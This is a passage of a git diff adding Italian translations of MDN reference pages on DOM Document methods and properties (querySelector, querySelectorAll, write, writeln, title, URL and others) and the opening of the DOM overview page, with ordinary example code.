+ <dd>Una {{domxref("DOMString")}} contenente uno o più selettori da trovare. Questa stringa deve essere una stringa di selettore CSS valida; se non lo è, viene generata un'eccezione <code>SYNTAX_ERR</code>. Vedi <a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a> per ulteriori informazioni sui selettori e su come gestirli.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> I caratteri che non fanno parte della sintassi CSS standard devono essere sottoposti a escape utilizzando un carattere backslash. Poiché JavaScript utilizza anche l'escape di backslash, prestare particolare attenzione quando si scrivono stringhe letterali utilizzando questi caratteri. Vedi {{anch("Escaping special characters")}} per maggiori informazioni.</p>
+</div>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un oggetto {{domxref ("Element")}} che rappresenta il primo elemento nel documento che corrisponde al set specificato di <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>, o <code>null</code> viene restituito se non ci sono corrispondenze.</p>
+
+<p>Se hai bisogno di un elenco di tutti gli elementi che corrispondono ai selettori specificati, dovresti usare {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La sintassi dei <em>selettori</em> specificati non è valida.</dd>
+</dl>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<p>Se il selettore specificato corrisponde a un ID erroneamente utilizzato più di una volta nel documento, viene restituito il primo elemento con quell'ID.</p>
+
+<p>Gli <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elementi CSS</a> non restituiranno mai alcun elemento, come specificato nelle <a href="http://www.w3.org/TR/selectors-api/#grammar">API dei selettori.</a></p>
+
+<h3 id="Escaping_caratteri_speciali">Escaping caratteri speciali</h3>
+
+
+
+<p>Per eseguire la corrispondenza con un ID o selettori che non seguono la sintassi CSS standard (ad esempio utilizzando due punti o uno spazio in modo inappropriato), è necessario eseguire l'escape del carattere con un backslash ("\"). Poiché il backslash è anche un carattere di escape in JavaScript, se si immette una stringa letterale, è necessario eseguire l'escape due volte (una per la stringa JavaScript e un'altra per querySelector ()):</p>
+
+<pre class="brush: html notranslate">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  console.log('#foo\bar');               // "#fooar" (\b è il carattere di controllo backspace)
+  document.querySelector('#foo\bar');    // Non corrisponde a nulla
+
+  console.log('#foo\\bar');              // "#foo\bar"
+  console.log('#foo\\\\bar');            // "#foo\\bar"
+  document.querySelector('#foo\\\\bar'); // Seleziona il primo div
+
+  document.querySelector('#foo:bar');    // Non corrisponde a nulla
+  document.querySelector('#foo\\:bar');  // Seleziona il secondo div</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Trovare_il_primo_elemento_che_corrisponde_a_una_classe">Trovare il primo elemento che corrisponde a una classe</h3>
+
+<p>In questo esempio, viene restituito il primo elemento del documento con la classe "<code>myclass</code>":</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector(".myclass");
+</pre>
+
+<h3 id="Un_selettore_più_complesso">Un selettore più complesso</h3>
+
+<p>I selettori possono anche essere molto potenti, come dimostrato nel seguente esempio. Qui, il primo elemento {{HTMLElement("input")}} con il nome "login" (<code>&lt;input name="login"/&gt;</code>) situato all'interno di un {{HTMLElement("div")}} la cui classe è "user-panel main" (<code>&lt;div class="user-panel main"&gt;</code>) nel documento viene restituito:</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name='login']");
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<div>{{Compat("api.Document.querySelector")}}</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a></li>
+ <li>{{domxref("Element.querySelector()")}}</li>
+ <li>{{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("Element.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Snippet di codice per querySelector</a></li>
+</ul>
diff --git a/files/it/web/api/document/queryselectorall/index.html b/files/it/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..a8e614ce9e
--- /dev/null
+++ b/files/it/web/api/document/queryselectorall/index.html
@@ -0,0 +1,180 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+  - API
+  - Cercare elementi
+  - Document
+  - Localizzare Elementi
+  - Referenza
+  - Selettori
+  - Selettori CSS
+  - Selezionare Elementi
+  - Trovare elementi
+  - metodo
+  - querySelectorAll
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo {{domxref("Document")}} <code><strong>querySelectorAll()</strong></code> ritorna una {{domxref("NodeList")}} statica (non dinamica) che rappresenta un elenco di elementi del documento che corrispondono al gruppo specificato di selettori.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This method is implemented based on the {{domxref("ParentNode")}} mixin's {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} method.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>Una {{domxref("DOMString")}} contenente uno o più selettori con cui confrontarsi. Questa stringa deve contenere dei <a href="/en-US/docs/Web/CSS/CSS_Selectors">selettori CSS</a> validi; se non lo sono, viene generata un'eccezione <code>SyntaxError</code>. Vedi <a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a> per ulteriori informazioni sull'uso dei selettori per cercare gli elementi. È possibile specificare più selettori separandoli utilizzando le virgole.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> I caratteri che non fanno parte della sintassi CSS standard devono essere sottoposti a escape utilizzando un carattere backslash. Poiché JavaScript utilizza anche l'escape di backslash, è necessario prestare particolare attenzione quando si scrivono stringhe letterali utilizzando questi caratteri. Vedi {{anch("Escaping special characters")}} per maggiori informazioni.</p>
+</div>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una {{domxref("NodeList")}} non dinamica contenente un oggetto {{domxref("Element")}} per ogni elemento che corrisponde ad almeno uno dei selettori specificati o una {{domxref("NodeList")}} vuota in caso di assenza di corrispondenze.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Se i <code>selectors</code> specificati includono uno <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elemento CSS</a>, l'elenco restituito è sempre vuoto.</p>
+</div>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>La sintassi della stringa <code>selectors</code> specificata non è valida.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Ottenere_un_elenco_di_elementi">Ottenere un elenco di elementi</h3>
+
+<p>Per ottenere una {{domxref("NodeList")}} di tutti gli elementi {{HTMLElement("p")}} nel documento:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("p");</pre>
+
+<p>Questo esempio restituisce un elenco di tutti gli elementi {{HTMLElement("div")}} all'interno del documento con la classe "<code>note</code>" o "<code>alert</code>":</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>Qui, otteniamo un elenco di elementi <code>&lt;p&gt;</code> il cui elemento padre immediato è un {{domxref("div")}} con la classe <code>"highlighted"</code> e che si trovano all'interno di un contenitore il cui ID è <code>"test"</code>.</p>
+
+<pre class="brush: js">var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted &gt; p");</pre>
+
+<p>Questo esempio utilizza un <a href="/en-US/docs/Web/CSS/Attribute_selectors">selettore tramite attributo</a> per restituire un elenco degli elementi {{domxref("iframe")}} nel documento che contengono un attributo denominato <code>"data-src"</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre>
+
+<p>Qui, un selettore di attributo viene utilizzato per restituire un elenco degli elementi di elenco contenuti in un elenco il cui ID è <code>"userlist"</code> con l'attributo <code>"data-active"</code> il cui valore è <code>"1"</code>:</p>
+
+<pre class="brush: js">var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");</pre>
+
+<h3 id="Accedere_ai_risultati">Accedere ai risultati</h3>
+
+<p>Una volta che viene restituita la {{domxref("NodeList")}} degli elementi corrispondenti, è possibile esaminarla come qualsiasi array. Se l'array è vuoto (ovvero la sua proprietà <code>length</code> è 0), non è stato trovato alcun elemento.</p>
+
+<p>Altrimenti, puoi semplicemente usare la notazione array standard per accedere ai contenuti della lista. È possibile utilizzare qualsiasi istruzione di loop comune, come ad esempio:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});</pre>
+
+<h2 id="Note_dell'utente">Note dell'utente</h2>
+
+<p><code>querySelectorAll()</code> si comporta in modo diverso rispetto alle più comuni librerie DOM JavaScript, il che potrebbe portare a risultati imprevisti.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Considera questo HTML, con i suoi tre blocchi {{HTMLElement("div")}} nidificati.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, not 0!
+</pre>
+
+<p>In questo esempio, quando si seleziona <code>".outer .inner"</code> nel contesto <code>&lt;div&gt;</code> con la classe <code>"select"</code>, si trova ancora l'elemento con la classe <code>".inner"</code> anche se <code>.outer</code> non è un discendente dell'elemento base su cui viene eseguita la ricerca (<code>".select"</code>). Per impostazione predefinita, <code>querySelectorAll()</code> verifica solo che l'ultimo elemento nel selettore si trovi all'interno dell'ambito di ricerca.</p>
+
+<p>La pseudo-classe {{cssxref(":scope")}} ripristina il comportamento previsto, trova solo i selettori corrispondenti sui discendenti dell'elemento base:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Standard di vita</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Definizione originale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.querySelectorAll")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/it/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">Individuazione degli elementi DOM mediante selettori</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> nella guida sul CSS</li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> nell'area di apprendimento di MDN</li>
+ <li>{{domxref("Element.querySelector()")}} e {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} e {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} e {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Code snippets for <code>querySelector()</code></a></li>
+</ul>
diff --git a/files/it/web/api/document/referrer/index.html b/files/it/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..8cefd3c9ac
--- /dev/null
+++ b/files/it/web/api/document/referrer/index.html
@@ -0,0 +1,23 @@
+---
+title: document.referrer
+slug: Web/API/Document/referrer
+translation_of: Web/API/Document/referrer
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce l'<a class="external" href="http://www.w3.org/Addressing/#background">URI</a> della pagina che l'utente ha visitato e che conteneva il link al documento corrente.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = document.referrer
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il valore è una stringa vuota se l'utente si è recato alla pagina corrente digitando l'indirizzo direttamente o attraverso un bookmark. Siccome questa proprietà restituisce solo una stringa, non fornisce un accesso al DOM della pagina a cui si riferisce.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.referrer" } ) }}</p>
diff --git a/files/it/web/api/document/stylesheets/index.html b/files/it/web/api/document/stylesheets/index.html
new file mode 100644
index 0000000000..9de0ad0fc5
--- /dev/null
+++ b/files/it/web/api/document/stylesheets/index.html
@@ -0,0 +1,43 @@
+---
+title: document.styleSheets
+slug: Web/API/Document/styleSheets
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/DocumentOrShadowRoot/styleSheets
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Restituisce una lista di oggetti <a href="it/DOM/stylesheet">stylesheet</a> per i fogli stile esplicitamente linkati o inclusi nel documento.</p>
+
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+
+<p><code>styleSheetList.length</code> - restituisce il numero di oggetti stylesheet contenuti nell'oggetto.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>styleSheetList</i> =
+<i>document</i>.styleSheets
+</pre>
+
+<p>L'oggetto restituito è di tipo <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-DocumentStyle-styleSheets">StyleSheetList</a>.</p>
+
+<p>E' una collezione ordinata di oggetti <a href="it/DOM/stylesheet">stylesheet</a>. <code>
+ <i>styleSheetList</i>
+ .item(
+
+ <i>indice</i>
+ )</code> o semplicemente <code>
+ <i>styleSheetList</i>
+ {{ mediawiki.external('
+
+ <i>indice</i>
+ ') }}</code> restituisce un singolo oggetto stylesheet indicato dall'indice (<code>indice</code> comincia da 0).</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-DocumentStyle-styleSheets">DOM Level 2 Style: styleSheets</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/document.styleSheets", "pl": "pl/DOM/document.styleSheets" } ) }}</p>
diff --git a/files/it/web/api/document/title/index.html b/files/it/web/api/document/title/index.html
new file mode 100644
index 0000000000..5e93fa8318
--- /dev/null
+++ b/files/it/web/api/document/title/index.html
@@ -0,0 +1,32 @@
+---
+title: document.title
+slug: Web/API/Document/title
+translation_of: Web/API/Document/title
+---
+<p>{{APIRef("DOM")}}<code>document.title</code> restituisce il titolo del documento.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>sTitle</i> = document.title
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>sTitle</code> è una stringa che contiene il titolo del documento corrente.</li>
+</ul>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre>&lt;html&gt;
+  &lt;title&gt;Ciao mondo!&lt;/title&gt;
+  &lt;body&gt;
+...
+// document.title restituisce "Ciao mondo!"
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-18446827">DOM Level 2: title</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.title" } ) }}</p>
diff --git a/files/it/web/api/document/url/index.html b/files/it/web/api/document/url/index.html
new file mode 100644
index 0000000000..e3a04cf953
--- /dev/null
+++ b/files/it/web/api/document/url/index.html
@@ -0,0 +1,29 @@
+---
+title: document.URL
+slug: Web/API/Document/URL
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce l'URL del documento corrente.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = document.URL
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">var currentURL = document.URL;
+alert(currentURL);
+</pre>
+
+<h3 id="Notes.C3.B9" name="Notes.C3.B9">Notesù</h3>
+
+<p><code>URL</code> è un sostituto della proprietà non standard <code>document.location.href</code>. Tuttavia <code>document.URL</code> è di sola lettura, diversamente da <code>document.location.href</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-46183437">DOM Level 2 HTML: URL</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/document.URL", "pl": "pl/DOM/document.URL" } ) }}</p>
diff --git a/files/it/web/api/document/width/index.html b/files/it/web/api/document/width/index.html
new file mode 100644
index 0000000000..82756dbbc7
--- /dev/null
+++ b/files/it/web/api/document/width/index.html
@@ -0,0 +1,32 @@
+---
+title: document.width
+slug: Web/API/Document/width
+translation_of: Web/API/Document/width
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce la larghezza in pixel dell'elemento body del documento corrente.</p>
+
+<p>Non supportato da IE.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>pixels</i> = document.width;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">function init() {
+  alert("La larghezza del documento è di " + document.width + " pixel.");
+}
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Si veda <code><a href="it/DOM/document.height">document.height</a></code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di uno standard.</p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.width" } ) }}</p>
diff --git a/files/it/web/api/document/write/index.html b/files/it/web/api/document/write/index.html
new file mode 100644
index 0000000000..0337177181
--- /dev/null
+++ b/files/it/web/api/document/write/index.html
@@ -0,0 +1,74 @@
+---
+title: Document.write()
+slug: Web/API/Document/write
+translation_of: Web/API/Document/write
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Summary" name="Summary">Riassunto</h3>
+
+<p>Scrive una stringa di testo in un flusso di documento aperto da <a href="/en-US/docs/Web/API/document.open" title="/en-US/docs/Web/API/document.open">document.open()</a>.</p>
+
+<h3 id="Syntax" name="Syntax">Sintassi</h3>
+
+<pre class="eval">document.write(<em>markup</em>);
+</pre>
+
+<ul>
+ <li><code>markup</code> è una stringa contenente il testo da scrivere nel documento.</li>
+</ul>
+
+<h3 id="Example" name="Example">Example</h3>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;write example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function newContent()
+{
+alert("load new content");
+document.open();
+document.write("&lt;h1&gt;Out with the old - in with the new!&lt;/h1&gt;");
+document.close();
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="newContent();"&gt;
+&lt;p&gt;Some original document content.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Notes" name="Notes">Note</h3>
+
+<p>La scrittura di un documento che è gia stato caricato senza <a href="/en-US/docs/Web/API/document.open" title="/en-US/docs/Web/API/document.open">document.open()</a> eseguirà automaticamente <code>document.open</code>. Una volta che hai finito di scrivere, si consiglia di chiamare <a href="/en-US/docs/Web/API/document.close" title="/en-US/docs/Web/API/document.close">document.close()</a>, per dire al browser di completare il caricamento della pagina. Il testo che si scrive viene analizzato nel modello struttura del documento. Nell'esempio precedente, l'<code>h1</code> diventa nodo del documento.</p>
+
+<p>Se il <code>document.write()</code> viene incorporato direttamente nel codice HTML, allora non chiamerà il <code>document.open()</code>. Per esempio:</p>
+
+<pre class="brush: html"> &lt;div&gt;
+  &lt;script type="text/javascript"&gt;
+    document.write("&lt;h1&gt;Main title&lt;/h1&gt;")
+  &lt;/script&gt;
+ &lt;/div&gt;
+</pre>
+
+<div class="note"><strong>Nota:</strong> <strong>document.write</strong> (come <strong>document.writeln</strong>) non lavora in documenti XHTML (si otterrà "Operazione non ammessa" (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) nella console). Questo è il caso se l'apertura di un file locale con estensione .xhtml, o per qualsiasi documento servito con un tipo MIME application/xhtml+xml . Ulteriori informazioni sono disponibili nel <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<h3 id="Specification" name="Specification">Specificazioni</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75233634">DOM Level 2 HTML: <code>write()</code> Method</a></li>
+ <li><a class="external" href="http://www.w3.org/html/wg/drafts/html/CR/webappapis.html#dynamic-markup-insertion" title="http://dev.w3.org/html5/spec/content-models.html#dynamic-markup-insertion">Dynamic markup insertion in HTML</a></li>
+</ul>
+
+<h3 id="See_also" name="See_also">Vedi anche</h3>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/it/web/api/document/writeln/index.html b/files/it/web/api/document/writeln/index.html
new file mode 100644
index 0000000000..080eb49c4e
--- /dev/null
+++ b/files/it/web/api/document/writeln/index.html
@@ -0,0 +1,34 @@
+---
+title: Document.writeln()
+slug: Web/API/Document/writeln
+translation_of: Web/API/Document/writeln
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Scrive una stringa di testo seguita da un carattere di accapo nel documento.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="eval">document.writeln(<em>riga</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<ul>
+ <li><code>riga</code> è una stringa contenente una riga di testo.</li>
+</ul>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre>document.writeln("&lt;p&gt;inserisci una password:&lt;/p&gt;");
+</pre>
+
+<h2 id="Notes" name="Notes">Note</h2>
+
+<p><strong>document.writeln</strong> è uguale a <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write</a>, in più aggiunge una nuova riga.</p>
+
+<div class="note"><strong>Nota:</strong> <strong>document.writeln</strong> (come <strong>document.write</strong>) non funziona nei documenti XHTML (restituisce un errore "Operation is not supported" (Operazione non supportata) (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) sulla console degli errori). Questo può capitare per esempio aprendo un file locale con estensione .xhtml o qualsiasi documento da un server che abbia MIME type application/xhtml+xml. Altre informazioni sono disponibili nelle <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p>
diff --git a/files/it/web/api/document_object_model/index.html b/files/it/web/api/document_object_model/index.html
new file mode 100644
index 0000000000..c1877f3642
--- /dev/null
+++ b/files/it/web/api/document_object_model/index.html
@@ -0,0 +1,435 @@
+---
+title: Document Object Model (DOM)
+slug: Web/API/Document_Object_Model
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Intermediate
+  - Reference
+translation_of: Web/API/Document_Object_Model
+---
+<div>{{DefaultAPISidebar("DOM")}}</div>
+
+<p>Il <strong>Document Object Model (<em>DOM</em>)</strong> rappresenta una pagina web come un documento con un albero logico di oggetti.</p>
+
+<p>Ogni ramo dell'albero termina in un nodo, e ogni nodo contiene oggetti. Il modello DOM collega le pagine web agli script o ai linguaggi di programmazione. Usualmente significa usare JavaScript, anche se modellare documenti HTML, SVG o XML come oggetti non è parte del linguaggio JavaScript.</p>
+
+<p>I metodi del DOM permettono un accesso programmatico all'albero; tramite i metodi e le proprietà del DOM è possibile modificare la struttura del documento stesso, lo stile e/o il contenuto.</p>
+
+<p>I nodi possono avere degli eventi aggangiati ad essi e quando un evento viene scatenato, l'<em>handler</em> dell'evento viene eseguito.</p>
+
+<p>E' disponibile una <a href="/en-US/docs/DOM/DOM_Reference/Introduction">introduzione</a> al DOM.</p>
+
+<h2 id="Interfacce_DOM">Interfacce DOM</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("Attr")}}</li>
+ <li>{{domxref("CharacterData")}}</li>
+ <li>{{domxref("ChildNode")}} {{experimental_inline}}</li>
+ <li>{{domxref("Comment")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("Document")}}</li>
+ <li>{{domxref("DocumentFragment")}}</li>
+ <li>{{domxref("DocumentType")}}</li>
+ <li>{{domxref("DOMError")}}</li>
+ <li>{{domxref("DOMException")}}</li>
+ <li>{{domxref("DOMImplementation")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("DOMTimeStamp")}}</li>
+ <li>{{domxref("DOMSettableTokenList")}}</li>
+ <li>{{domxref("DOMStringList")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("Event")}}</li>
+ <li>{{domxref("EventTarget")}}</li>
+ <li>{{domxref("HTMLCollection")}}</li>
+ <li>{{domxref("MutationObserver")}}</li>
+ <li>{{domxref("MutationRecord")}}</li>
+ <li>{{domxref("NamedNodeMap")}}</li>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeFilter")}}</li>
+ <li>{{domxref("NodeIterator")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("NonDocumentTypeChildNode")}}</li>
+ <li>{{domxref("ParentNode")}}</li>
+ <li>{{domxref("ProcessingInstruction")}}</li>
+ <li>{{domxref("Selection")}}{{experimental_inline}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Text")}}</li>
+ <li>{{domxref("TextDecoder")}} {{experimental_inline}}</li>
+ <li>{{domxref("TextEncoder")}} {{experimental_inline}}</li>
+ <li>{{domxref("TimeRanges")}}</li>
+ <li>{{domxref("TreeWalker")}}</li>
+ <li>{{domxref("URL")}}</li>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("Worker")}}</li>
+ <li>{{domxref("XMLDocument")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h2 id="Interfacce_DOM_obsolete_obsolete_inline">Interfacce DOM obsolete {{obsolete_inline}}</h2>
+
+<p>The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specification have been removed. It is still not very clear whether some may be reintroduced or not, but for the time being they have to be considered as obsolete and should be avoided:</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("CDATASection")}}</li>
+ <li>{{domxref("DocumentTouch")}}</li>
+ <li>{{domxref("DOMConfiguration")}}</li>
+ <li>{{domxref("DOMErrorHandler")}}</li>
+ <li>{{domxref("DOMImplementationList")}}</li>
+ <li>{{domxref("DOMImplementationRegistry")}}</li>
+ <li>{{domxref("DOMImplementationSource")}}</li>
